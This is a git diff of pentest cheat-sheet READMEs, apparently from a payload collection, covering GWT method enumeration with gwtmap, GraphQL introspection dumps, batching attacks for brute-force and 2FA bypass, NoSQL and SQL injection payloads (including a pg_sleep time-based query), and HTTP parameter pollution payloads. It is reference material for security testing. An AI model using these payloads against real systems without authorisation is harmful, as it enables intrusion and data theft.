+* [GDSSecurity/GWT-Penetration-Testing-Toolset](https://github.com/GDSSecurity/GWT-Penetration-Testing-Toolset) - A set of tools made to assist in penetration testing GWT applications.
-
 
 ## Methodology
 
 * Enumerate the methods of a remote application via it's bootstrap file and create a local backup of the code (selects permutation at random):
+
     ```ps1
     ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup
     ```
+
 * Enumerate the methods of a remote application via a specific code permutation
+
     ```ps1
     ./gwtmap.py -u http://10.10.10.10/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js
     ```
+
 * Enumerate the methods whilst routing traffic through an HTTP proxy:
+
     ```ps1
     ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup -p http://127.0.0.1:8080
     ```
+
 * Enumerate the methods of a local copy (a file) of any given permutation:
+
     ```ps1
     ./gwtmap.py -F test_data/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js
     ```
-* Filter output to a specific service or method: 
+
+* Filter output to a specific service or method:
+
     ```ps1
     ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService.login
     ```
+
 * Generate RPC payloads for all methods of the filtered service, with coloured output
+
     ```ps1
     ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService --rpc --color
     ```
+
 * Automatically test (probe) the generate RPC request for the filtered service method
+
     ```ps1
     ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService.login --rpc --probe
     ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter TestService.testDetails --rpc --probe
     ```
 
-
 ## References
 
-- [From Serialized to Shell :: Exploiting Google Web Toolkit with EL Injection - Stevent Seeley - May 22, 2017](https://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html)
+* [From Serialized to Shell :: Exploiting Google Web Toolkit with EL Injection - Stevent Seeley - May 22, 2017](https://web.archive.org/web/20260220100658/https://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html)
-- [Hacking a Google Web Toolkit application - thehackerish - April 22, 2021](https://thehackerish.com/hacking-a-google-web-toolkit-application/)
+* [Hacking a Google Web Toolkit application - thehackerish - April 22, 2021](https://web.archive.org/web/20210227222455/https://thehackerish.com/hacking-a-google-web-toolkit-application/)

GraphQL Injection/README.md

@@ -2,54 +2,57 @@
 
 > GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type
 
-
 ## Summary
 
 - [Tools](#tools)
 - [Enumeration](#enumeration)
-  - [Common GraphQL Endpoints](#common-graphql-endpoints)
+    - [Common GraphQL Endpoints](#common-graphql-endpoints)
-  - [Identify An Injection Point](#identify-an-injection-point)
+    - [Identify An Injection Point](#identify-an-injection-point)
-  - [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection)
+    - [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection)
-  - [Enumerate Database Schema via Suggestions](#enumerate-database-schema-via-suggestions)
+    - [Enumerate Database Schema via Suggestions](#enumerate-database-schema-via-suggestions)
-  - [Enumerate Types Definition](#enumerate-types-definition)
+    - [Enumerate Types Definition](#enumerate-types-definition)
-  - [List Path To Reach A Type](#list-path-to-reach-a-type)
+    - [Enumerating Paths to a Target Type](#enumerating-paths-to-a-target-type)
 - [Methodology](#methodology)
-  - [Extract Data](#extract-data)
+    - [Queries](#queries)
-  - [Extract Data Using Edges/Nodes](#extract-data-using-edgesnodes)
+        - [Basic Query](#basic-query)
-  - [Extract Data Using Projections](#extract-data-using-projections)
+        - [Query with Arguments](#query-with-arguments)
-  - [Mutations](#mutations)
+        - [Nested Queries](#nested-queries)
-  - [GraphQL Batching Attacks](#graphql-batching-attacks)
+    - [Mutations](#mutations)
-    - [JSON List Based Batching](#json-list-based-batching)
+    - [GraphQL Batching Attacks](#graphql-batching-attacks)
-    - [Query Name Based Batching](#query-name-based-batching)
+        - [JSON List Based Batching](#json-list-based-batching)
+        - [Query Name Based Batching](#query-name-based-batching)
 - [Injections](#injections)
     - [NOSQL Injection](#nosql-injection)
     - [SQL Injection](#sql-injection)
 - [Labs](#labs)
 - [References](#references)
 
-
 ## Tools
 
-* [swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) - Scripting engine to interact with a graphql endpoint for pentesting purposes
+- [swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) - Scripting engine to interact with a graphql endpoint for pentesting purposes
-* [doyensec/graph-ql](https://github.com/doyensec/graph-ql/) - GraphQL Security Research Material
+- [doyensec/graph-ql](https://github.com/doyensec/graph-ql/) - GraphQL Security Research Material
-* [doyensec/inql](https://github.com/doyensec/inql) - A Burp Extension for GraphQL Security Testing
+- [doyensec/inql](https://github.com/doyensec/inql) - A Burp Extension for GraphQL Security Testing
-* [doyensec/GQLSpection](https://github.com/doyensec/GQLSpection) - GQLSpection - parses GraphQL introspection schema and generates possible queries
+- [doyensec/GQLSpection](https://github.com/doyensec/GQLSpection) - GQLSpection - parses GraphQL introspection schema and generates possible queries
-* [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Lists the different ways of reaching a given type in a GraphQL schema
+- [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Lists the different ways of reaching a given type in a GraphQL schema
-* [andev-software/graphql-ide](https://github.com/andev-software/graphql-ide) - An extensive IDE for exploring GraphQL API's
+- [andev-software/graphql-ide](https://github.com/andev-software/graphql-ide) - An extensive IDE for exploring GraphQL API's
-* [mchoji/clairvoyancex](https://github.com/mchoji/clairvoyancex) - Obtain GraphQL API schema despite disabled introspection
+- [mchoji/clairvoyancex](https://github.com/mchoji/clairvoyancex) - Obtain GraphQL API schema despite disabled introspection
-* [nicholasaleks/CrackQL](https://github.com/nicholasaleks/CrackQL) - A GraphQL password brute-force and fuzzing utility
+- [nicholasaleks/CrackQL](https://github.com/nicholasaleks/CrackQL) - A GraphQL password brute-force and fuzzing utility
-* [nicholasaleks/graphql-threat-matrix](https://github.com/nicholasaleks/graphql-threat-matrix) - GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations
+- [nicholasaleks/graphql-threat-matrix](https://github.com/nicholasaleks/graphql-threat-matrix) - GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations
-* [dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) - Security Auditor Utility for GraphQL APIs
+- [dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) - Security Auditor Utility for GraphQL APIs
-* [IvanGoncharov/graphql-voyager](https://github.com/IvanGoncharov/graphql-voyager) - Represent any GraphQL API as an interactive graph
+- [dolevf/graphw00f](https://github.com/dolevf/graphw00f) - GraphQL Server Engine Fingerprinting utility
-* [Insomnia](https://insomnia.rest/) - Cross-platform HTTP and GraphQL Client
+- [IvanGoncharov/graphql-voyager](https://github.com/IvanGoncharov/graphql-voyager) - Represent any GraphQL API as an interactive graph
-
+- [Insomnia](https://insomnia.rest/) - Cross-platform HTTP and GraphQL Client
 
 ## Enumeration
 
 ### Common GraphQL Endpoints
 
-Most of the time GraphQL is located at the `/graphql` or `/graphiql` endpoint. 
+GraphQL endpoints are often exposed at predictable paths, most commonly:
-A more complete list is available at [danielmiessler/SecLists/graphql.txt](https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt).
+
+- `/graphql`
+- `/graphiql` (interactive IDE)
+
+You should always probe for both API and developer/debug interfaces.
 
 ```ps1
 /v1/explorer
@@ -62,13 +65,32 @@ A more complete list is available at [danielmiessler/SecLists/graphql.txt](https
 /graphiql.php
 ```
 
+For an extended wordlist, see [danielmiessler/SecLists/graphql.txt](https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt).
 
 ### Identify An Injection Point
 
-```js
+> A server MUST accept POST requests, and MAY accept other HTTP methods, such as GET. - [GraphQL Over HTTP](https://graphql.github.io/graphql-over-http/draft/#sec-Request)
-example.com/graphql?query={__schema{types{name}}}
+
-example.com/graphiql?query={__schema{types{name}}}
+- GET endpoint
-```
+
+    ```js
+    GET /graphql?query={yourQueryHere}
+    GET /graphql?query={__schema{types{name}}}
+    GET /graphiql?query={__schema{types{name}}}
+    GET /graphql?query=query%20%7B%20user(id:%221%22)%20%7B%20id%20name%20%7D%20%7D
+    ```
+
+- POST endpoint
+
+    ```js
+    POST /graphql/v1 HTTP/1.1
+    Host: example.com
+    Content-Type: application/json
+
+    {
+    "query": "query { user { id name } }"
+    }
+    ```
 
 Check if errors are visible.
 
@@ -78,9 +100,20 @@ Check if errors are visible.
 ?query={thisdefinitelydoesnotexist}
 ```
 
-
 ### Enumerate Database Schema via Introspection
 
+The GraphQL specification includes special fields, such as `__schema` and `__type`, that allow clients to ask the server what types exist, what fields they expose, and how everything connects together.
+
+An introspection query is simply a request that leverages these special fields to retrieve that structural information. This is what allows interactive environments like GraphiQL or GraphQL Playground to provide auto-completion, inline documentation, and query validation. When a developer types a query, the tool is not guessing, it has already asked the server what is valid and what is not.
+
+A minimal example looks like this:
+
+```js
+{
+  "query": "{ __schema { types { name } } }"
+}
+```
+
 URL encoded query to dump the database schema.
 
 ```js
@@ -89,7 +122,7 @@ fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated
 
 URL decoded query to dump the database schema.
 
-```javascript
+```rs
 fragment FullType on __Type {
   kind
   name
@@ -188,15 +221,14 @@ query IntrospectionQuery {
 
 Single line queries to dump the database schema without fragments.
 
-```js
+```rs
 __schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
 ```
 
-```js
+```rs
 {__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
 ```
 
-
 ### Enumerate Database Schema via Suggestions
 
 When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema.
@@ -209,8 +241,6 @@ When you use an unknown keyword, the GraphQL backend will respond with a suggest
 
 You can also try to bruteforce known keywords, field and type names using wordlists such as [Escape-Technologies/graphql-wordlist](https://github.com/Escape-Technologies/graphql-wordlist) when the schema of a GraphQL API is not accessible.
 
-
-
 ### Enumerate Types Definition
 
 Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
@@ -219,12 +249,16 @@ Enumerate the definition of interesting types using the following GraphQL query,
 {__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
 ```
 
+### Enumerating Paths to a Target Type
 
-### List Path To Reach A Type
+When working with a GraphQL schema, especially after running an introspection query, it is not always obvious how a specific type can be accessed through queries. A given object (like `User`, `Admin`, or `Payment`) may be reachable through multiple entry points and nested relationships.
+
+- [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Tool that lists the different ways of reaching a given type in a GraphQL schema.
+
+This tool takes the JSON output of an introspection query (which describes the full schema) and analyzes how types are connected. It then outputs different query paths that can be used to reach a specific target type. In practice, this means identifying all the possible ways a client could craft queries that eventually return that object, even if it is deeply nested or indirectly exposed.
 
 ```php
-$ git clone https://gitlab.com/dee-see/graphql-path-enum
+graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
-$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
 Found 27 ways to reach the "Skill" node from the "Query" node:
 - Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
 - Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
@@ -243,61 +277,103 @@ Found 27 ways to reach the "Skill" node from the "Query" node:
 - Query (query) -> Query (skills) -> Skill
 ```
 
-
 ## Methodology
 
-### Extract Data
+GraphQL supports three main operation types: **queries**, **mutations**, and **subscriptions**.
+
+### Queries
+
+GraphQL queries are used to request specific fields from a schema, and the structure of your query directly mirrors the JSON response you will receive. At its simplest, querying data means selecting a root field (like `user`, `posts`, or `teams`) and then specifying which subfields you want returned. Unlike REST, you never get extra data, everything must be explicitly requested.
+
+#### Basic Query
+
+The simplest query uses the shorthand syntax, where the `query` keyword is omitted. You just define the fields you want starting from the root object.
 
 ```js
-example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
+{
+  user {
+    id
+    name
+  }
+}
+```
+
+This tells the server to return the `id` and `name` fields from the user object. The response will follow the exact same structure. If needed, the full syntax can be used with the query keyword, but in most cases the shorthand is enough and commonly seen in real-world traffic.
+
+```js
+query {
+  user {
+    id
+    name
+  }
+}
 ```
 
 ![HTB Help - GraphQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/Images/htb-help.png?raw=true)
 
+#### Query with Arguments
 
-
+To retrieve specific data, arguments can be passed to fields. These behave like function parameters and are often used for IDs, filters, or search queries.
-### Extract Data Using Edges/Nodes
-
-```json
-{
-  "query": "query {
-    teams{
-      total_count,edges{
-        node{
-          id,_id,about,handle,state
-        }
-      }
-    }
-  }"
-} 
-```
-
-### Extract Data Using Projections
-
-:warning: Don’t forget to escape the " inside the **options**.
 
 ```js
-{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}
+{
+  user(id: "1") {
+    name
+    email
+  }
+}
 ```
 
+This allows precise targeting of objects and is a common entry point for testing access control issues or IDOR-style vulnerabilities.
+
+#### Nested Queries
+
+GraphQL allows deep traversal of relationships in a single request. Instead of chaining multiple API calls, you can explore linked objects directly.
+
+```js
+{
+  user(id: "1") {
+    name
+    posts {
+      title
+      comments {
+        content
+      }
+    }
+  }
+}
+```
 
 ### Mutations
 
-Mutations work like function, you can use them to interact with the GraphQL.
+A mutation is an operation used to change data on the server (create, update, or delete something).
+Mutations work like function, you can use them to interact with the GraphQL endpoint.
 
 ```javascript
-# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
+mutation{
-# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
+  signIn(login:"Admin", password:"secretp@ssw0rd"){
+      token
+    }
+}
+
+mutation{
+  addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {
+    id
+    name
+    email
+  }
+}
 ```
 
+**Warning**: Mutations usually won't work with GET. [graphql/graphql-over-http, issue #123](https://github.com/graphql/graphql-over-http/issues/123)
 
 ### GraphQL Batching Attacks
 
 Common scenario:
-* Password Brute-force Amplification Scenario
-* Rate Limit bypass
-* 2FA bypassing
 
+- Password Brute-force Amplification Scenario
+- Rate Limit bypass
+- 2FA bypassing
 
 #### JSON List Based Batching
 
@@ -322,7 +398,6 @@ Query batching works by defining an array of operations in the request body. Eac
 ]
 ```
 
-
 #### Query Name Based Batching
 
 ```json
@@ -342,15 +417,13 @@ mutation {
 }
 ```
 
-
 ## Injections
 
 > SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.
 
-
 ### NOSQL Injection
 
-Use `$regex`, `$ne` from []() inside a `search` parameter.
+Use `$regex` inside a `search` parameter.
 
 ```js
 {
@@ -363,10 +436,9 @@ Use `$regex`, `$ne` from []() inside a `search` parameter.
 }
 ```
 
-
 ### SQL Injection
 
-Send a single quote `'` inside a graphql parameter to trigger the SQL injection
+Send a single quote `'` inside a GraphQL parameter to trigger the SQL injection
 
 ```js
 { 
@@ -378,43 +450,46 @@ Send a single quote `'` inside a graphql parameter to trigger the SQL injection
 }
 ```
 
-Simple SQL injection inside a graphql field.
+Simple SQL injection inside a GraphQL field.
 
 ```powershell
-curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
+query {
+  user(name: "patt';SELECT 1;SELECT pg_sleep(30);--'") {
+    id
+    email
+  }
+}
 ```
 
-
 ## Labs
 
-* [PortSwigger - Accessing private GraphQL posts](https://portswigger.net/web-security/graphql/lab-graphql-reading-private-posts)
+- [PortSwigger - Accessing private GraphQL posts](https://portswigger.net/web-security/graphql/lab-graphql-reading-private-posts)
-* [PortSwigger - Accidental exposure of private GraphQL fields](https://portswigger.net/web-security/graphql/lab-graphql-accidental-field-exposure)
+- [PortSwigger - Accidental exposure of private GraphQL fields](https://portswigger.net/web-security/graphql/lab-graphql-accidental-field-exposure)
-* [PortSwigger - Finding a hidden GraphQL endpoint](https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint)
+- [PortSwigger - Finding a hidden GraphQL endpoint](https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint)
-* [PortSwigger - Bypassing GraphQL brute force protections](https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass)
+- [PortSwigger - Bypassing GraphQL brute force protections](https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass)
-* [PortSwigger - Performing CSRF exploits over GraphQL](https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api)
+- [PortSwigger - Performing CSRF exploits over GraphQL](https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api)
-* [Root Me - GraphQL - Introspection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Introspection)
+- [Root Me - GraphQL - Introspection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Introspection)
-* [Root Me - GraphQL - Injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Injection)
+- [Root Me - GraphQL - Injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Injection)
-* [Root Me - GraphQL - Backend injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Backend-injection)
+- [Root Me - GraphQL - Backend injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Backend-injection)
-* [Root Me - GraphQL - Mutation](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Mutation)
+- [Root Me - GraphQL - Mutation](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Mutation)
-
 
 ## References
 
-- [Building a free open source GraphQL wordlist for penetration testing - Nohé Hinniger-Foray - August 17, 2023](https://escape.tech/blog/graphql-security-wordlist/)
+- [Building a free open source GraphQL wordlist for penetration testing - Nohé Hinniger-Foray - August 17, 2023](https://web.archive.org/web/20230919211552/https://escape.tech/blog/graphql-security-wordlist/)
-- [Exploiting GraphQL - AssetNote - Shubham Shah - August 29, 2021](https://blog.assetnote.io/2021/08/29/exploiting-graphql/)
+- [Exploiting GraphQL - AssetNote - Shubham Shah - August 29, 2021](https://web.archive.org/web/20210830161635/https://blog.assetnote.io/2021/08/29/exploiting-graphql/)
-- [GraphQL Batching Attack - Wallarm - December 13, 2019](https://lab.wallarm.com/graphql-batching-attack/)
+- [GraphQL Batching Attack - Wallarm - December 13, 2019](https://web.archive.org/web/20260223043402/https://lab.wallarm.com/graphql-batching-attack/)
-- [GraphQL for Pentesters presentation - Alexandre ZANNI (@noraj) - December 1, 2022](https://acceis.github.io/prez-graphql/)
+- [GraphQL for Pentesters presentation - Alexandre ZANNI (@noraj) - December 1, 2022](https://web.archive.org/web/20230205233412/https://acceis.github.io/prez-graphql/)
-* [API Hacking GraphQL - @ghostlulz - Jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2)
+- [API Hacking GraphQL - @ghostlulz - Jun 8, 2019](https://web.archive.org/web/20190619040847/https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2)
-* [Discovering GraphQL endpoints and SQLi vulnerabilities - Matías Choren - Sep 23, 2018](https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e)
+- [Discovering GraphQL endpoints and SQLi vulnerabilities - Matías Choren - Sep 23, 2018](https://web.archive.org/web/20180923085151/https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e)
-* [GraphQL abuse: Bypass account level permissions through parameter smuggling - Jon Bottarini - March 14, 2018](https://labs.detectify.com/2018/03/14/graphql-abuse/)
+- [GraphQL abuse: Bypass account level permissions through parameter smuggling - Jon Bottarini - March 14, 2018](https://web.archive.org/web/20231027032512/https://labs.detectify.com/2018/03/14/graphql-abuse/)
-* [Graphql Bug to Steal Anyone's Address - Pratik Yadav - Sept 1, 2019](https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417)
+- [Graphql Bug to Steal Anyone's Address - Pratik Yadav - Sept 1, 2019](https://web.archive.org/web/20250514221822/https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417)
-* [GraphQL cheatsheet - devhints.io - November 7, 2018](https://devhints.io/graphql)
+- [GraphQL cheatsheet - devhints.io - November 7, 2018](https://web.archive.org/web/20181107093033/https://devhints.io/graphql)
-* [GraphQL Introspection - GraphQL - August 21, 2024](https://graphql.org/learn/introspection/)
+- [GraphQL Introspection - GraphQL - August 21, 2024](https://web.archive.org/web/20260302160506/https://graphql.org/learn/introspection/)
-* [GraphQL NoSQL Injection Through JSON Types - Pete Corey - June 12, 2017](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/)
+- [GraphQL NoSQL Injection Through JSON Types - Pete Corey - June 12, 2017](https://web.archive.org/web/20250514221852/https://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/)
-* [HIP19 Writeup - Meet Your Doctor 1,2,3 - Swissky - June 22, 2019](https://swisskyrepo.github.io/HIP19-MeetYourDoctor/)
+- [HIP19 Writeup - Meet Your Doctor 1,2,3 - Swissky - June 22, 2019](https://web.archive.org/web/20190825033521/https://swisskyrepo.github.io/HIP19-MeetYourDoctor/)
-* [How to set up a GraphQL Server using Node.js, Express & MongoDB - Leonardo Maldonado - 5 November 2018](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/)
+- [How to set up a GraphQL Server using Node.js, Express & MongoDB - Leonardo Maldonado - 5 November 2018](https://web.archive.org/web/20190718023950/https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/)
-* [Introduction to GraphQL - GraphQL - November 1, 2024](https://graphql.org/learn/)
+- [Introduction to GraphQL - GraphQL - November 1, 2024](https://web.archive.org/web/20160917011216/http://graphql.org:80/learn)
-* [Introspection query leaks sensitive graphql system information - @Zuriel - November 18, 2017](https://hackerone.com/reports/291531)
+- [Introspection query leaks sensitive graphql system information - @Zuriel - November 18, 2017](https://web.archive.org/web/20250710175416/https://hackerone.com/reports/291531)
-* [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r - 8 June 2017](https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/)
+- [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r - 8 June 2017](https://web.archive.org/web/20170608142208/https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/)
-* [Securing Your GraphQL API from Malicious Queries - Max Stoiber - Feb 21, 2018](https://web.archive.org/web/20180731231915/https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b)
+- [Securing Your GraphQL API from Malicious Queries - Max Stoiber - Feb 21, 2018](https://web.archive.org/web/20180731231915/https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b)
-* [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Jobert Abma (jobert) - Nov 6th 2018](https://hackerone.com/reports/435066)
+- [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Jobert Abma (jobert) - Nov 6th 2018](https://web.archive.org/web/20181203004543/https://hackerone.com/reports/435066)

HTTP Parameter Pollution/README.md

@@ -1,6 +1,6 @@
 # HTTP Parameter Pollution
 
-> HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value&param1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurrence, some taking the last occurrence, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms. 
+> HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value&param1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurrence, some taking the last occurrence, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms.
 
 ## Summary
 
@@ -10,13 +10,11 @@
     * [Parameter Pollution Payloads](#parameter-pollution-payloads)
 * [References](#references)
 
-
 ## Tools
 
 * **Burp Suite**: Manually modify requests to test duplicate parameters.
 * **OWASP ZAP**: Intercept and manipulate HTTP parameters.
 
-
 ## Methodology
 
 HTTP Parameter Pollution (HPP) is a web security vulnerability where an attacker injects multiple instances of the same HTTP parameter into a request. The server's behavior when processing duplicate parameters can vary, potentially leading to unexpected or exploitable behavior.
@@ -26,7 +24,6 @@ HPP can target two levels:
 * Client-Side HPP: Exploits JavaScript code running on the client (browser).
 * Server-Side HPP: Exploits how the server processes multiple parameters with the same name.
 
-
 **Examples**:
 
 ```ps1
@@ -34,7 +31,6 @@ HPP can target two levels:
 /transfer?amount=1&amount=5000
 ```
 
-
 ### Parameter Pollution Table
 
 When ?par1=a&par1=b
@@ -59,15 +55,16 @@ When ?par1=a&par1=b
 | Python/Zope                                     | All occurrences in array | ['a','b']       |
 | Ruby on Rails                                   | Last occurrence          | b               |
 
-
 ### Parameter Pollution Payloads
 
 * Duplicate Parameters:
+
     ```ps1
     param=value1&param=value2
     ```
 
 * Array Injection:
+
     ```ps1
     param[]=value1
     param[]=value1&param[]=value2
@@ -76,16 +73,19 @@ When ?par1=a&par1=b
     ```
 
 * Encoded Injection:
+
     ```ps1
     param=value1%26other=value2
     ```
 
 * Nested Injection:
+
     ```ps1
     param[key1]=value1&param[key2]=value2
     ```
 
 * JSON Injection:
+
     ```ps1
     {
         "test": "user",
@@ -93,9 +93,8 @@ When ?par1=a&par1=b
     }
     ```
 
-
 ## References
 
-- [How to Detect HTTP Parameter Pollution Attacks - Acunetix - January 9, 2024](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
+* [How to Detect HTTP Parameter Pollution Attacks - Acunetix - January 9, 2024](https://web.archive.org/web/20260112091623/https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
-- [HTTP Parameter Pollution - Itamar Verta - December 20, 2023](https://www.imperva.com/learn/application-security/http-parameter-pollution/)
+* [HTTP Parameter Pollution - Itamar Verta - December 20, 2023](https://web.archive.org/web/20190721110154/https://www.imperva.com/learn/application-security/http-parameter-pollution/)
-- [HTTP Parameter Pollution in 11 minutes - PwnFunction - January 28, 2019](https://www.youtube.com/watch?v=QVZBl8yxVX0&ab_channel=PwnFunction)
+* [HTTP Parameter Pollution in 11 minutes - PwnFunction - January 28, 2019](https://web.archive.org/web/20190212095035/https://www.youtube.com/watch?v=QVZBl8yxVX0)

Headless Browser/README.md

@@ -1,46 +1,72 @@
 # Headless Browser
 
 > A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals.
-
 > Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited.
 
-
 ## Summary
 
 * [Headless Commands](#headless-commands)
 * [Local File Read](#local-file-read)
-* [Debugging Port](#debugging-port)
+* [Remote Debugging Port](#remote-debugging-port)
 * [Network](#network)
     * [Port Scanning](#port-scanning)
     * [DNS Rebinding](#dns-rebinding)
+* [CVE](#cve)
 * [References](#references)
 
-
 ## Headless Commands
 
 Example of headless browsers commands:
 
 * Google Chrome
+
     ```ps1
     google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com
     ```
 
 * Mozilla Firefox
+
     ```ps1
     firefox --screenshot https://www.google.com
     ```
 
